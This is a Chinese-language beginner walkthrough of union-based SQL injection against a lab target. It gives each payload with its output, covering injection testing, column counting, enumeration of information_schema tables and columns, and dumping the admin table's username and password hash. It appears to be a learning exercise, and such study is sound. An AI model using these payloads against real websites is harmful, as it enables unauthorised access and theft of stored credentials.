注入流程

0、寻找输入点

看到靶机上面的按钮全部点一下,观察url,发现诸如”?id=……”的大概率就是注入点。

当然稍微有点防护等级的网站都不会让你这么容易地找到注入点

按f12,点开网络以监测请求:

点击测试新闻1的时候:出现了一个get请求:

将get请求复制,放入到hackbar中:

接下来的命令在输上去后点execute就可以了

1、判断注入类型:

?id=1 or 1=1 或者 ?id=1’ or ‘1’=’1

此处我输入(输入位置就在get’请求后面,看下面的图)

1
?id=1 or 1=1

出现上面的

title “测试新闻1”
content “哈哈哈哈”

表示数据库回显信息了,说明可以注入

2、判断列数:?id=1 order by 1…….

这个命令需要一个一个试,直到没反应为止:

1
2
3
4
?id=1 order by 1
?id=1 order by 1,2
?id=1 order by 1,2,3
?id=1 order by 1,2,3,......

这道题试到3就没反应了,说明数据库有2个列

3、判断注入信息:?id=-1 union select 1……..

根据上面得出的结果2,需要注入2个数字来标记在哪里可以注入

1
?id=-1 union select 1,4

此处的1和4只是两个数字,用于标记位置,并非顺序

4、查看数据库:?id=-1 union select 1,database(

输入:

1
?id=-1 union select 1,database()

回显

title “3”
content “news”

说明数据库名字叫news

5、查看表名:

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’数据库名称’

输入

1
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='news'

回显:

title “1”
content “admin,contents”

说明有两个表:admin和contents

我们需要的是admin

6、查看列名:

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’表名’

输入

1
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'

回显

title “1”
content “id,username,password”

发现有3个列:id,username,password

我们需要 username 和 password 这两个个列

7、查看字段:

模板:

1
?id=-1 union select 1,group_concat(列名) from 表名

此处我用到的为

输入

1
?id=-1 union select 1,group_concat(username) from admin 

回显得到有一个用户admin

title “1”
content “admin”

输入

1
?id=-1 union select 1,group_concat(password) from admin 

数据库中存放着一个密码:

title “1”
content “6ede396decdae7a523cc84d5f2f3a4a1”

大功告成!

俺也是个菜鸟,参考:https://blog.csdn.net/m0_58199719/article/details/124279958